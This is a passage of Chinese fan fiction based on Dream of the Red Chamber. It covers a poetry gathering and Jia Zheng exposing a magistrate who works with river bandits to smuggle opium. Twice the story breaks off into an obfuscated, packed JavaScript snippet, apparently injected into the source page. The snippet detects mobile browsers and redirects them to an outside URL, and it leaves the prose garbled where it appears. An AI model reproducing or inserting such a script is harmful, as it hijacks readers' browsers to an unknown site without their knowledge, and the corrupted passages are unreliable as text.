宝钗放下笔,两边扶着母亲与姨妈,将二人带到炕桌前坐下,又为她们倒了热好的绍兴酒,才笑道“当然是由颦儿做东了。” 黛玉笑笑,朝王夫人与薛姨妈点了点头。 宝钗走到黛玉身边,看了看黛玉已经写好的一篇。 “颦儿写得真好,这次又要将谁比下去了呢?”宝钗说罢,又看了一眼宝玉,眼神中满是捉弄之意。 黛玉有些不好意思,忙说道“只要将宝姐姐比下去,我就满意了!”,说罢,黛玉鼓了嘴巴,哼了一声。 “林姐姐害羞了!”探春也来打趣。 宝玉也有些不好意思,就低着头假装写诗。 只有香菱一人,完全沉浸在作诗的乐趣中,全然顾不到旁人说话玩笑。 王夫人喝了杯酒,手指着孩子们,笑着对薛姨妈说“她们几个,一个倒比一个顽皮。” 薛姨妈也很高兴“孩子们玩玩闹闹多好呀,我就喜欢看她们这样!”说罢,吩咐身边的丫鬟让再去拿坛酒与她新做的糟鹅掌过来,给孩子吃。 “还是舅妈与姨妈会疼人,我要坐到那桌去写。”黛玉拿着自己的纸笔,也坐到了炕桌前。 王夫人因与黛玉在京城相处了半年,那时就对她疼爱非常。如今在扬州虽然黛玉有父亲疼爱,但王夫人对黛玉的关爱也是丝毫未减,与探春宝钗都是一样对待。 王夫人亲切揽住黛玉,怜爱地摸摸黛玉的脊背与两手,笑说“比起在京城的时候的确壮实不少了!” 黛玉滚到王夫人怀里,撒娇道“舅妈不疼我了!” “这孩子又胡说!哪里不疼你?”王夫人笑道。 “舅妈有了宝姐姐,就不疼我了。”黛玉佯装可怜,轻声说道。 王夫人笑笑,轻轻点了一下黛玉脑袋,说道“你们三姐妹在我心里都是一样的。” 薛姨妈在旁边却笑了,她捞过黛玉,喜欢的不住摩挲她“舅妈不疼黛玉,姨妈却疼你的。” “姨妈疼我,那我就不与宝姐姐吃醋了。”黛玉说罢,再也忍不住,在姨妈怀里笑个不停。 “颦丫头不写诗,却去挖墙脚了!”宝钗边说边摇头,“真真是世风日下,人心不古了啊!” 一旁的探春宝玉都是笑个不停,诗也写不下去了。 “你们要是写不下去,咱们就来行酒令吧!”薛姨妈建议道。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14947730|160862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>此时,忽听得香菱来了一句“我写好了!” 这呆呆傻傻的一句话,又把众人逗得前仰后合,探春的笔都掉到了地上。 “就说香菱呆呢!比宝玉还要呆!”探春坐不稳,也歪到炕上,与黛玉抱成一团。 香菱却不知道发生了什么,有些无助地看看袭人,又看看宝钗。 袭人轻轻抚过香菱的背,安抚道“姑娘们刚才说笑话呢,你没听到,不妨事。” 香菱笑了笑,谢了袭人。随后就起身拿着自己写好的诗给宝钗看。 宝钗看了一会儿,摸摸香菱的头,柔声说“果然比上次写得好了,更加工整,也有些意趣。” 黛玉和探春也凑了过来,看香菱的诗。 “这两句写的很形象呢!”探春笑说。 黛玉念了出来“微风忽起吹莲叶,青玉盘中泻水银。”读罢,点了点头“确实写得好,又应景,又生动!” 香菱被夸的有些羞涩,微微红了脸颊,笑说“多亏两位姑娘教的好。” “我的也写好了!”宝玉拿着自己的诗稿,递给了黛玉。 “谁要看你的,我要看宝姐姐与三妹妹的诗。”黛玉顽皮一笑,拿起了宝钗的诗稿。 几人看罢,无不说好。 “宝姐姐的心胸总是开阔的,志向也那么高。”黛玉真心赞道。 “我想以宝姐姐的志趣,多少男子也不及她!”探春也是赞美,边说话边抱紧了宝钗。 宝玉笑说“咱们几人中,宝姐姐的诗志趣最高,林妹妹的意境最深,三妹妹的书法最好,香菱姐姐的进步最大···” “那你呢?”黛玉故意问道。 “我嘛···”宝玉摇头晃脑的拿起一杯酒,仰头喝尽,将酒杯倒了过来给众人看看,笑说“我的酒力最佳!” 宝玉的言语动作,将众人逗得大笑,连香菱也忍不住,笑得不能坐稳,靠在了袭人身上。 “你如此有自知之明,我也替你怪臊的。”黛玉捂脸笑罢,又歪在了薛姨妈怀里。 王夫人两边搂着探春与宝钗,也是笑得停不下来。 “我有这么多才女姐妹,哪有什么好臊的呢?”宝玉故作端庄,坐在桌前,又饮了一杯酒。 “好了,一会儿诗还没写完,却先喝醉了!”薛姨妈起身,拿过了宝玉的酒杯。 “咱们来行酒令,还有各样下酒小菜,到时你就算喝醉了也无妨的。哪有这么就着诗喝酒的?”薛姨妈笑道。 众姐妹笑罢,应了。只是还都歪在炕上,懒得起来。 “我看她们已经醉了。”王夫人对薛姨妈说。 薛姨妈无奈笑笑“那先睡一会儿,等醒来了再吃晚饭,酒菜也不糟蹋。” “我要姨妈搂着我睡,姨妈快过来!”黛玉朝薛姨妈撒娇,抱住她胳膊,轻声哼着。 探春抱紧王夫人与宝钗,笑说“我要与母亲和宝姐姐一起睡。” 王夫人慈爱地搂着宝钗与探春,又拉过来一床被子盖在她们身上,柔声说“睡吧,我搂着你们呢。” 薛姨妈也如此抱着黛玉,又示意袭人与香菱也去休息。 宝玉自顾自吃够了酒,此时酒意上头,就窝在榻上睡了,还知道自己拉过来被子盖好。 孩子们小睡了一个时辰就醒了,外面雨也停了。 正是傍晚时分,乌云散去,太阳灿灿照着,显得荷叶翠绿,雨珠晶莹。 黛玉走到了池塘边,静静看着天边一弯霓虹。 宝钗和探春醒来之后,瞥见黛玉站在窗外,也出来找她。 黛玉指指彩虹,让二人看。 傍晚雨后的彩虹,最是绚丽,又有团团簇簇的晚霞点缀,让人挪不开眼睛。 此时阳光洒满了庭院,也落在了她们姐妹三人身上。 宝钗突然喃喃说道“好风凭借力,送我上青云。” 黛玉和探春听了,笑了笑。随后同时一左一右搂住宝钗手臂,轻轻靠在了宝钗身上。 “宝姐姐,彩虹说你的心愿会实现的。”黛玉轻声道。 “宝姐姐,我懂你。”探春说罢,笑了笑,“咱们姐妹日后帮扶着,那么每个人的志向就都可以实现了,不是吗?” 宝钗笑着点点头,搂紧探春黛玉的肩膀。 夕阳欲落,在她们身后投下了三只紧紧靠着的影子。 32. 货船被劫疑虑多 贾政打了把伞站在船头,静看雨中朦胧的远山。胡平县离扬州很近,河道密布。此时河滩上的芦苇丛足有一人多高,天然适合水匪藏身。 一行人刚到湖平县渡口,当地县令就带了人来接。胡平县令名叫孙鹏程,看着只有三十多岁,说话也很恭敬。 贾政着急去现场调查,耽搁得越久,越容易丢失证据。于是他让孙鹏程直接带他们去案发现场。 路上,孙鹏程又说了一下案件的发生时间与人员货物伤亡情况。 贾政听罢点了点头,这与齐鸣汇报的内容大致相同。因为贾政亲自来了胡平县,他就将齐鸣留在扬州主持衙门事务。 此案人员伤亡众多,孙鹏程也很重视。已经吩咐众衙役封锁了现场,不让外人上船。 从外看,那货船并没有什么破坏。贾政自己打头阵,走在了前面,身后跟着孙鹏程,并几个当地官员。贾政自己带的人在四周围着,以防突发情况。 “尸体都搬走了吗?”贾政问孙鹏程。 孙鹏程恭敬点点头“因为人数太多,先运到了县衙附近安放。” 又走到了货仓,地面有一些血迹,泥印,应当是发生过打斗。 “所有货物都损失了吗?”贾政又问。 孙鹏程点了头。 “货单在哪里?”贾政问道。 孙鹏程递上一份货单,说道“是在负责押送货物的管事身上搜到的,他也被杀害了。” 贾政接过来,仔细翻阅了一遍。其中只是一些普通的南货,丝绸布匹,茶叶粮食等,还有一些时兴的西洋玩意。 贾政看罢,随手合上,递给了孙鹏程。 他们又走到供船员休息的舱室,也是有一些血迹,箱柜有些乱,大约是盗贼在此处杀害了一些人,又劫掠了船员的财物。 只是,穷苦船员,哪有什么值钱东西值得去搜呢?水匪抢劫货船,为了避免暴露肯定是越快越好,犯不上搜刮这些地方。 贾政想到这里,直觉再次告诉他,这并不是一次简单的水匪劫船。 他暂时按下心里的疑惑。随意看了看箱柜里的东西,留下的就是些凌乱的衣服,没什么贵重物品,还有一些稻草,看不出什么异样。贾政拿起一捧稻草,凑到鼻子前,闻了闻,有一种奇异的香味,有些像芒果的味道。 他又拈起几根沾了些黑泥的稻草,闻了闻那黑泥,仍是一股异香。贾政深吸一口气,感觉头晕晕的。 “孙鹏程,你们有没有发现这船的暗格密室呢?”贾政放下稻草,又擦了擦了手,问孙鹏程。 孙鹏程又是摇摇头,回道“我已率人细细查过,并没发现。” 贾政翻出来稻草中混着另一些晒干的植物叶子根茎,笑着问孙鹏程“你知道这是什么东西的叶子吗?” 孙鹏程尴尬一笑,“下官对农事不甚了解。” 贾政笑道“巧了,我却知道。”他拍拍孙鹏程的肩膀,说道“天也不热,孙县令怎么额头有这么多汗珠呢?” 孙鹏程掏出一方帕子,自己擦了汗,赔笑道“这几日因为出了这件大事,下官日日担忧,不曾好好休息,有些体虚,容易出汗。” 贾政指着孙鹏程,看向旁边的其他官员,笑说“孙县令勤勉至此,你们都要以他为榜样!” 众官员恭敬应声。 贾政一行人从货船离开后,又去了停尸的地方。 共有五十三具尸体,大部分是青壮年男子。死相一致,比较平静,看不出有过激烈斗争,都是一刀致命。唯有三具男尸身上刀伤较多,脖子上还有很深的勒痕。 贾政看罢,又问孙鹏程“孙县令以为水匪为何要将船员都杀了呢?岂不浪费时间?” 孙鹏程回道“大约是因为有人看到了他们的长相,因此杀人灭口,以绝后患。” 贾政又问“这么多船员,个个都是壮汉,怎么身上却没什么厮打的痕迹,都是一刀致命呢?” “也许是趁船员熟睡,或是下了什么迷药吧。”孙鹏程有些中气不足,声音略低沉。 贾政笑笑,说道“也许是船上有内奸和水匪勾结,这内奸暗中下了药,让所有船员都无力反抗。” 贾政边说话边看孙鹏程神色,见他略显惊讶,就继续说道“至于这三人的伤···” 说话时,贾政已经走到这三位男士旁边,指了指胸口的几处刀伤,对孙鹏程说“我猜这三人应当有人是管事,或是当时有所警惕,想要反抗,这才被人多砍了几刀。又怕不稳妥,拿了绳子勒死了。” 贾政说罢,半笑着看向孙鹏程,等他回答。 孙鹏程堆笑道“贾大人果然神机妙算!其中有一人正是押货的管事,货单也是从他身上搜出来的。” 贾政笑笑,继续说道“只是有一个问题不好解释,既然我们推测其中有内鬼,何故船上所有船员都被杀害了呢?” 尸体数目与当时登记的船员数目一致,所以贾政才这样问道。 “也许行船途中又招募了一些人吧,这也很常见。”孙鹏程回道。 贾政点点头,拍拍孙鹏程肩膀,满意笑道“孙大人说的对。” 贾政的力道不小,连拍了三下,将孙鹏程吓得身子颤了颤,没敢再说什么。 “今日奔波劳累,有些受不住了。”贾政佯装疲倦,扶了扶额头。 “下官这就带大人去县衙下榻。”孙鹏程忙说。 贾政点点头,笑着谢过了。 孙鹏程将贾政安排在了县衙专门接待官员的院子。贾政随意看看了,表情很是满意。孙鹏程又安顿好服侍的下人,随后退下了。 孙鹏程一走,贾政一改方才的疲态,神情严肃了起来。 他猜到了这孙鹏程必与此案有关,因此今日才多次试探。此人心理素质堪忧,没想到贾政才来半日就查出了端倪。今日对贾政的回应就漏出了马脚。 贾政在屋内踱步思考,想着接下来要怎么办。 只是孙鹏程会是背后唯一的大鱼吗? 他想到这里,摇了摇头。 要是牵扯到背后更大的势力,比如忠顺王爷,又要如何处理? 贾政来扬州本就与忠顺王爷脱不了干系,又卷入这个案件中,要是一个处理不好,会有什么后果贾政也清楚。大约这就是忠顺王爷的陷阱了。 想到这里,贾政叹了口气,心里暗暗发苦。 他从袖袋中拿出一只荷包,上面绣了几竿修竹,这是之前王夫人与探春一起绣的,贾政一直贴身带着。后来他又磨着夫人,让她绣了名字在背面。 贾政此时细细摩挲着荷包上的“令嘉”两个字,口中喃喃念着家人的名字。 前途再艰险,想到家中妻儿,又让他鼓足了希望。 夜深,胡平县衙内很是安静。 此时县令孙鹏程的书房中,他正与两人商议着什么。 “这个贾大人今日可能有所察觉了。咱们多一事不如少一事,我已向上禀告了,上面的反应是···”孙鹏程话没说完,比了个挥刀的手势。 “只是这贾大人出身富贵,咱们如此做是不是···”说话人语气犹豫,只敢小心建议。 孙鹏程摇了摇头,轻笑道“上面自有办法将此事推拖干净,绝对查不到你我身上。” 那二人得了保证,也松了气。 “待夜深,他屋内灯灭了半个时辰后就动手。”孙鹏程吩咐道。 那二人恭敬答应了。 当天夜里,刚到亥时,贾政的屋内就熄了灯。 孙鹏程吩咐的两名杀手早就在门外等候。见屋内熄了灯,他们稍稍等了一会儿,就轻轻捅开了窗户,吹了一管迷烟。 随后又静等一刻,估计迷烟生效,屋里人已陷入昏迷,于是轻手轻脚撬开房门,走了进去。 两人同时举起刀,砍向了床上之人头部。 刀一出手,便觉不对,忙掀起被子一看,原来并没有人,只是堆了一些衣服,模糊看着像是躺了个人。 这两人立刻想到事情败露,连忙去找孙鹏程商议对策。 此时的贾政早已不在县衙。原来当天下午他盘算过后,预计晚上会有危险,便吩咐手底下一个身手不凡的小厮,让他们在屋里假装是他,待熄了灯就溜出去。 而他自己天刚擦黑,就趁着无人发现偷偷走了。他已吩咐手下人定 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贾政没有逗留,立刻带上土陶罐,叫上手下,离开了货船。 回到客栈,贾政理了理思绪。 查到这里,贾政终于明白了那些货单上的东西不过是掩耳盗铃,他们真正护送的原来是隐秘货仓中的宝物,也就是眼前的土陶罐, 贾政细细看着这个土陶罐,里面的东西形状和大小类似炮弹,质感像是粗黄糖一样。里面垫了一些干叶子,贾政拿起来闻了闻,又是一阵异香。贾政用指甲盖扣下一点末子,沾了水,变成黑色泥浆一样的东西,更浓烈的香味传来。贾政立刻去洗了手。 贾政叹口气,认清了这个丸子就是此时的鸦片。那些稻草上传来的芒果气味,是因为装鸦片的货箱都是由芒果木做的。 此时的鸦片多是在印度种植,然后通过货船运到广东。印度许多由英国人开办的贸易公司就是靠此发家致富的。虽然其中利润巨大,但种植的贫民却反而因此陷入了更大的贫困,不必多说。 贾政起身走了走,细细思考。 如果孙鹏程与此有关,那么他与船主秦氏粮庄在其中又扮演了什么角色? 他们本该运往京城的货物为何却在胡平县被劫走了? 所谓劫货的水匪从何得知这隐秘的货物?是不是孙鹏程想暗地里吞下这批货才勾结了水匪呢?或者是他的上峰想要这批货? 贾政想到这里,只觉得疑点更多了。 经过一番猜测,贾政坐到桌前,提笔写了一封信。又派了两个人,让他们日夜兼程将信送到济州府的河道总督,陈光和手中,并带回信立刻赶回来。 贾政估计,日夜兼程的话,他们四五天就可以回来,到那时,他也有了指望。 送走了手下,贾政又带了两个人出了客栈,直奔酒楼。 进了酒楼,贾政行事十分豪爽,出手又阔绰。让老板给他们三人上了一桌昂贵酒菜,并五六个歌女,在包房中饮酒作乐,直灌得贾政醉倒在了桌上。 次日,贾政睡到日上三竿,才醉醺醺去了湖平县衙。 孙鹏程看到消失了一夜的贾政突然出现,很是惊讶。 “这湖平县虽小,却藏龙卧虎,单说那锦华楼的酒菜歌女,就让人挪不开脚。”贾政脸上酒意未消,口中也是一股酒气,喷到了孙鹏程脸上。 孙鹏程丝毫不恼,他忙扶着贾政,笑说“我昨夜有公事找大人却没找到,原来是出去玩去了!” 贾政拍拍他肩,笑道“今晚再去一定带着孙鹏程一起!”说罢,哈哈大笑。他装作走不太稳的样子,靠着孙鹏程,又道“现在酒还没有醒,烦请孙鹏程扶我回房睡个觉吧。” 孙鹏程哪有拒绝的道理,扶着贾政回了房间,又亲自将他安置到床上,看他睡着了,才离开。 “大人,果真可信吗?”昨夜行动失败的人问孙鹏程。 孙鹏程严肃道“也许吧,且看他这几日再怎么行事。若是他有自知之明,糊弄结了案倒罢了,若是再有什么怪异举动···”孙鹏程笑笑,没再说下去,意思却很明确。 33. 为剿匪贾政身犯险 当日傍晚,贾政才睡醒。随意梳洗过后,他又去找了胡平县令孙鹏程。 “昨夜去了锦华楼,那里的酒菜确实好。”贾政走到孙县令跟前道,一副纵欲后萎靡不振的样子。 孙鹏程也是一副谄媚模样,讨好道“一会儿下官带您去个更好的去处,保管让您乐不思蜀。” 贾政很是满意地捧起孙鹏程为他倒的茶,喝过之后,笑道“我已经等不及了,咱们不如这就去吧!” 孙鹏程带贾政去了湖平县最负盛名的花楼。 那里的老板一见孙鹏程,就谄媚着上前,问县令有什么安排。 “今日有贵客到来,你这里有什么好的尽管招待。”孙鹏程指指贾政,笑着说道。 老板如何不明白,忙吩咐姑娘们带着几位贵客进了包间。 不一会儿,好酒好菜已经摆满了桌子。随后就有七八个美貌女子鱼贯而入。 贾政表现出很是满意的样子,先搂了一个姑娘,让他坐到自己腿上。 “大人好眼光,这位姑娘,正是楼里最有名的一位。”孙鹏程挤眉弄眼地模样,话里内涵也很直白。 贾政就着姑娘的手,连喝三杯酒,面上很是受用。孙鹏程与另几位官员,也各抱了一个姑娘,调笑着吃酒用菜。 不一会儿,包括贾政在内的官员,就喝得红光满面了。 晚上,贾政又是醉得走不动路,进了房间就呼呼大睡。而那位姑娘心里有事,细细翻了贾政身上,没有发现什么关键东西,就偷偷拿了几张大额银票。 贾政眼睛微睁,看那姑娘只是拿了银票,就闭上了眼睛。随后听到一声轻响,那姑娘开了房门离开了。 姑娘径直走进了一处房间,向里面的孙鹏程说了自己的发现。 孙鹏程笑着摆摆手“再去那里守着,看他有没有什么动作。” 姑娘便出去了。 如此四五日,贾政白日里随意调查一下案件,见没什么疑问,已经准备按照水匪抢劫来结案。晚上依旧是孙鹏程安排,去各处酒楼吃酒。贾政每每都是尽兴玩乐,喝得烂醉,人事不知。孙鹏程本来悬着的心,也渐渐放了下来。 其间,贾政问孙鹏程秦氏粮庄的当家人可有追问后续。 孙鹏程的回答是秦家生意广布,虽损失了一船货物与船员,但知道了是水匪所为,也不太看重。因为南北运货,难免被水匪劫掠,而水匪行踪诡异,难以根除。商户们遇到此事,也只当破财消灾,别无他法。 贾政听了,很是认可这个回答,没再追问。 到第五日,贾政派去济州府的人终于带了陈光和的回信。贾政谎称此人是从扬州家里回来,带来了夫人的家信,当着孙鹏程的面堂而皇之的带进了屋子。 孙鹏程看着贾政背影,陷入了思考。 贾政看过信,笑了笑,更有了信心。河道总督陈光和给了他底气与依靠。他随即烧了信,坐到了书桌前。想着接下来的事情。 夜晚,县衙贾政房间外。外面的人见里面熄了灯,又像上次那样,吹了迷药,偷偷进了屋子。 那人看到书桌上果然有一封信件,心里一喜,就要去拿,却被人捏住了手腕。 突然,屋里亮起了许多盏灯,小偷的面容立刻暴露了。 屋里站了五六个身高体壮的汉子,贾政站在桌前正笑着看小偷。 小偷心一横,正欲下手,已被捏着他手腕的大汉控制住了,旁边人立刻上来绑住他手脚,用木棍夹在他上下牙中间,防止咬舌或者吞药。 贾政坐在桌前,吩咐小厮去找孙县令。 不一会儿孙县令匆忙赶来了。 贾政做出惊慌未定的神情,喊道“这个贼人说他是匪帮派来的,要取我性命!”贾政话语很是慌乱,扶住了孙鹏程胳膊。 孙鹏程暗暗瞪了一眼坏事的手下,转头问贾政“果真是水匪吗?” 贾政点点头,摸摸自己胸口,顺顺气“他亲口说是水匪,说我查案坏了他们大事,他们帮主就派他来此害我!” “我本来还想饶他们性命,如今却要索我的性命!气煞我也!”贾政的气愤表现的很夸张,却很像一个养尊处优惯了的京官,应当表现出来的愤怒。 孙鹏程心里暗暗叫苦,无论被抓住的人是否招认了,贾政将问题都扣在了水匪身上,如今不牺牲几个人给贾政消气是不行的了。 大不了随意找几个人说是水匪,正好也结了案。孙鹏程想到这里,略略松口气。 又忙安抚贾政“大人息怒,幸好今日抓住了这恶贼!我定重判此人给大人消气!” 贾政听到这里摇摇头,恨声说道“他说自己是匪帮的二把手,在帮主那里很有面子。所以我想拿他做饵,趁此将匪帮一网打尽。” 孙鹏程心里止不住地嘲笑贾政天真,果然是京官,竟然这么随意地就出口要剿灭匪帮。他难道不知道多少任水务官员都不敢出此狂言吗? 孙鹏程于是连忙附和“大人说的有道理!合该如此,只是具体怎么安排呢?” 贾政指指被绑住的贼人,说道“他方才说知道匪帮老巢和一处藏匿宝物的地方,咱们只需要放出消息,愿意以这个二把手换取之前被他们劫走的秦家的货物,否则就去端了他们藏宝贝的地方。匪帮人一听,自然愿意交换。到时候肯定要派人来送货,咱们趁机包抄他们,他们既损失了这么多人手,营寨必定空虚,咱们再一鼓作气拿下他们的老巢。”贾政细细说道。 孙鹏程听了贾政如此漏洞百出的话,快要笑出声来。他以为贾政会如此激动,是因为今日自以为差点被人暗害,丢了面子,又惊魂不定,才雄心勃勃要如此大干一场。 他又想到,不论贾政所言几分真假,既然他主动提出这个计划,那就是在自掘坟墓。果然人在惊慌之时,总会做出冲动的安排。 “下官这就按照大人的吩咐放出消息给他们。”孙鹏程恭敬回答道。 贾政满意地点点头,让孙鹏程下去了。又像是气不过的样子,让手下将贼人押下去,并叮嘱好好“招待”,但要保全性命。 孙鹏程出了屋子,就按照自己的规划吩咐了手下去传消息。 随后,他又偷偷去了贾政关押贼人的地方。 门口看管的人被支走了,孙县令偷偷进去。 “老七,你果真说了?”孙鹏程问道。 老七已经受了一会儿刑罚,此时半昏迷过去。被孙鹏程摇了摇身子才清醒过来。 孙鹏程又问了一遍,老七摇摇头,轻声道“我什么都没说,他在骗你···”说罢,又晕了过去。 孙县令听罢,又叫了人进来医治他。 “这个贾政,这几日果然是装出来的!我倒要看看你有几条命回扬州去!”孙鹏程气得跺了跺脚,恨声道。 孙鹏程动作很快,次日下午,就传来消息,说一切安排好了。 “贾大人,水匪那边得了消息,说愿意以秦家的货物来换取二当家的性命。”孙鹏程恭敬向贾政说道。 贾政满意地点点头,又拍拍孙鹏程肩膀,问道“在那里行动?什么时候?” “定在了今晚亥时。我告诉他们就在那日劫船的地方,那里有咱们的衙役把手,保证万无一失。”孙鹏程回道。 贾政像是不太放心,又问“咱们的人手是不是不太够,要不要从扬州调人过来?” 孙鹏程笑着摇摇头“湖平县衙光衙役就有百人之多,我另招募了二百好汉,今晚与我们一起行动。” 贾政这下放心了,笑说“此次事成,鹏程当居首功!” 孙鹏程拱手笑道“那我就多谢大人提拔了!” 当日晚间,天刚擦黑,贾政与孙鹏程就带着三百手下在船上等待。其中明面上的只有他们几位官员,俘虏老七,并二十个衙役,其他人暗中埋伏在芦苇荡中。 亥时刚到,远远的,江面上过来一只小船,船灯轻轻晃动着。 贾政朝孙鹏程点点头,示意他做好准备。 小船离了很远,就有一人声传来“将我们二当家的带出来看看!” 孙鹏程吩咐人将老七带到船头。 对方像是很满意,说道,“我们一会儿过来一只船接人,一手交人,一手交货,别说我们不讲诚信!”说罢,还大笑两声,似是稳操胜券。 贾政也道“秦家那么多货,怎么你们只有一只小船?” 贾政声音很大,对方听得清楚,回道“大人一看便知。”他在故意打哑谜。 贾政似是有些不满,张了张嘴,又没说什么。 “是不是他们已经将货物倒卖完了?今日来诈咱们?”贾政慌乱地问孙鹏程。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14947732|160862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>孙鹏程安抚道“匪帮一般劫了货物,很快就会分散转手。今日事急,他们应当是以银两抵物。大人放心,咱们可知道他们的宝物藏在哪里,不怕他们耍花样。” 贾政听罢,也就放了心。示意孙鹏程按照对方吩咐的行动。 随后,两方分别派出一小船,同向行驶,很快就要碰头。 船一碰头,突然出了变故,忽然有人喊道“不如两位大人也去我们寨里做客如何?” 对面话音刚落,四面八方人声鼎沸,厮杀不过一会儿,贾政还没有跑下船,就与孙鹏程一起被绑了起来。贾政眼看着他们带的人跑了一大半,被绑了二十来个。 “大人!这可如何是好啊!”孙鹏程与贾政紧挨着,被扔进了小船的船舱中,此时手脚都被绑住了。 贾政也是六神无主,“也许是要拿咱们做人质吧。”贾政又叹口气,说“希望跑出去的人早点将消息传到扬州,派人来救咱们。” “只是今日受了奇耻大辱!我又有何颜面回京呢!”贾政说到这里,控制不住情绪,当着孙鹏程的面,流了眼泪。 贾政言行正中了孙鹏程的下怀,他连忙安抚道“大人莫慌,区区水匪,哪来的胆子杀害朝廷官员,不过是为了求财罢了。” “但愿如此吧”贾政说罢,感觉头脑昏沉,不一会儿就晕了过去。 待贾政醒来时,果然到了水匪营寨,只是身旁不见了孙鹏程。 “你们将孙县令怎么样了?胆敢杀害朝廷官员!这是死罪!”贾政向上首坐着的一男子喊道。 这男子的确是匪帮的头目,二把手,被人称做老四,外貌却像个读书人。 老四表情温和,嘴里却说着凶狠的话“大人还是想想自己的死期吧。” 说罢,老四挥挥手,吩咐人将贾政关押起来。 随后,孙鹏程走了出来。 “老四,别来无恙!”孙鹏程坐到老四旁边,捧了杯茶。 老四笑笑“这个贾大人,你还说他心思细腻,今日一见,我很失望啊。”说罢,吹吹杯中茶叶,也喝了一口。 孙鹏程却道“不过是养尊处优的富家子弟,即使有几分聪明,又哪里见过这种阵仗呢?” 老四放下茶杯,问道“都安排好了吗?” “消息已经传了出去,扬州衙门那边愿意出两万两银子赎人,到时咱们收了钱,趁乱将他杀了扔进水里,我假装在混乱中跑了,回去还是做我的县令,两全其美。”孙鹏程笑说。 老四点点头,嗤笑道“一个不知天高地厚的傻子钦差!” 孙鹏程离开这里,又故意衣衫褴褛,在身上画了几道伤痕,被人捆着送到了贾政在的屋子。 “贾大人,方才他们对我严刑逼问,幸好我坚守住了,没有屈服。”孙鹏程惨笑着向贾政说道。 贾政也挤出笑容安抚他“苦了你了。” “只是为何却不审问我呢?”贾政似乎有些疑惑。 “他们畏惧大人身份,不敢侮辱。”孙鹏程恭维道。 贾政点点头,接受了这个答案。 扬州衙门的人没让贾政等得太久,第三日中午,齐鸣就带了五百人前来水匪指定的地方赎人。 因为赎金巨大,匪帮这边也派了不少人护送,担心发生意外情况。 齐鸣在船上喊道“赎金两万两一分不少,你们快将贾大人与孙县令放了!” 老四悠然说道“先送银子过来,我们查验过了再放人。” 这分明是对齐鸣一众的侮辱,齐鸣恼道“一手交钱一手交人,你们不是自诩讲规矩吗?” 老四笑笑,吩咐人拎起了贾政,往船板上一扔,手臂撞到了栏杆,疼得贾政咬紧了牙关。 齐鸣再不敢惹怒老四他们,很是无奈。又忌惮贾政在他们手里,不敢妄动,只好吩咐人将银两放到一小船上,只让一个老船夫划着船,向老四驶去。 船一靠近匪帮的船,老四就派了人去查验,那些水匪一眼看到这么多银子,贪婪之心再忍不住,一哄而上,就胡乱拿称秤了起来。 老四这边很是满意,朝孙鹏程一笑,又吩咐贾政身边的水匪,说道“动手吧!” 话音刚落,老四胸口突然中了一箭,他又惊又怒,以为是孙鹏程反水,手指着他,怒道“你敢阴我?!”说罢吐了一大口血。 34. 险中取胜疑虑未消 孙鹏程连忙解释“老四,咱们多年的兄弟,我怎么可能暗害你们,此事必有蹊跷···”他话没说完,四面八方忽然箭如雨落,匪帮这边反应不及,一时间死伤大半。 孙鹏程自己肩上也中了一箭,他四处寻找贾政身影,哪里找得到? 匪帮的人撤退中也不忘带走孙鹏程这个奸细,也不顾他受伤,拖着就走,任由他如何解释都没有用处。 只是四处都是飞箭,又如何逃走?不一会儿,匪帮的人死的死伤的伤,溃不成军。 片刻之间,匪帮今日派来的一百八十人全部被抓,无一人漏网。 贾政在慌乱中,也被飞箭射中了手臂。 贾政站到孙鹏程与老四面前,居高临下地看着他们。 老四看看贾政,笑说“你的确是个聪明人。”笑罢,已是面如白纸,危在旦夕。 贾政没回答他,让大夫救他性命。 随后,贾政看向孙鹏程,笑说“你与他是多年的好兄弟?” 孙鹏程暗暗后悔,知道如今回天乏术,索性点了点头。 “你哪里这么多士兵弓箭?”孙鹏程不想做个冤死鬼,就问道。按理说在扬州以贾政的权限,无法调动这么多正规士兵与武器。 贾政笑笑“留着你自己慢慢思考吧。”说罢,就吩咐人将孙鹏程和老四带了下去,严加看管。 “大人伤得可重?”齐鸣见贾政说了几句话,已经站立不稳,连忙过来扶着。 贾政摇头轻笑,脸色苍白,汗珠一颗颗滚落,轻声道“应当没有大碍吧···” 贾政方才与老四和孙鹏程说话时已是强撑,如今终于放松下来,看见手臂白布又渗出血迹,就说道“大约刚才裹住的伤口又流血了,你扶我下去吧,一会儿我先回去,你留在这里善后。” 贾政回了客栈,大夫又给他处理了伤口,上了金创药,又紧紧缠好白布。 到傍晚时,齐鸣已做好善后事务,回到了贾政所在的客栈。 “今日剿匪共计一百八十人,还活捉了他们的二当家,老四。”齐鸣笑着向贾政汇报,他看贾政神色尚可,也放了心。 “大人,我们要乘胜追击,端了他们的老巢吗?”齐鸣问道。 贾政点点头,说道“狡兔三窟,水匪更是狡猾,今日吃了一场败仗,肯定挪了窝。你此次率人前去虽然不一定有什么收获,但说出去也是一大功绩。” 顿了顿,贾政又说“一鼓作气,你多带些人手,再带几个水匪指路,你们连夜就去端了他们的窝。” 齐鸣应了。 “万事当心。”贾政又叮嘱道。 原来那日贾政写给河道总督陈光和的信中,就写明了他的猜测,并向陈光和求援。陈光和也很信任贾政,直接派了五百精兵,这些人与齐鸣接头,等待贾政吩咐行事。 后来贾政猜到孙县令与水匪暗中勾结,便打算以身犯险,深入贼窝,找机会揭穿孙县令的伪装。 